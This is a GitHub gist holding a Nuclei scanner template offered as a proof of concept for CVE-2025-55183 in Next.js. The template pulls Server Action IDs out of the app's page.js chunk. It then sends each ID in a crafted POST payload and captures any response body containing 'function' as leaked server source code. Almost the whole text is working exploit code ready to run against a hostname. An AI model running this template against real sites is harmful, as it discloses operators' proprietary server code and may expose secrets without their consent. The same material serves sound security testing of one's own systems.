Created
December 12, 2025 21:55
-
-
Save bolhasec/6d9b2dd0710c28882a25ef14c283a226 to your computer and use it in GitHub Desktop.
POC for CVE-2025-55183
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| id: CVE-2025-55183 | |
| # In my tests, using -debug flag provides better results | |
| info: | |
| name: Next.js Server Action Introspection | |
| author: sushicomabacate | |
| severity: high | |
| description: | | |
| Extracts 40 or 42-character Server Action IDs from /_next/static/chunks/app/page.js and invokes them via POST to check for source code leakage. | |
| # Using 'http' protocol handles variable chaining/iteration correctly in Nuclei v3 | |
| http: | |
| - raw: | |
| # ------------------------------------------------------- | |
| # Phase 1: Extraction | |
| # ------------------------------------------------------- | |
| - | | |
| GET /_next/static/chunks/app/page.js HTTP/1.1 | |
| Host: {{Hostname}} | |
| Accept: */* | |
| extractors: | |
| - type: regex | |
| name: action_id | |
| internal: true | |
| regex: | |
| - '([a-f0-9]{40,42})' | |
| group: 1 | |
| - raw: | |
| # ------------------------------------------------------- | |
| # Phase 2: Exploitation | |
| # Nuclei iterates this request for EVERY ID found in Phase 1 | |
| # ------------------------------------------------------- | |
| - | | |
| POST / HTTP/1.1 | |
| Host: {{Hostname}} | |
| Content-Type: application/x-www-form-urlencoded | |
| next-action: {{action_id}} | |
| &0=["$F1"]&1={"id":"{{action_id}}","bound":null} | |
| matchers-condition: and | |
| matchers: | |
| # 1. Must be a successful request | |
| - type: status | |
| status: | |
| - 200 | |
| # 2. Must specifically contain "function" (proof of source code leak) | |
| # If you want to see ALL successful executions (even non-leaks), remove this block. | |
| - type: word | |
| part: body | |
| words: | |
| - "function" | |
| extractors: | |
| # ------------------------------------------------------- | |
| # Display Response | |
| # ------------------------------------------------------- | |
| - type: regex | |
| name: leaked_response | |
| part: body | |
| regex: | |
| - "([\\s\\S]+)" # Captures full response body |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment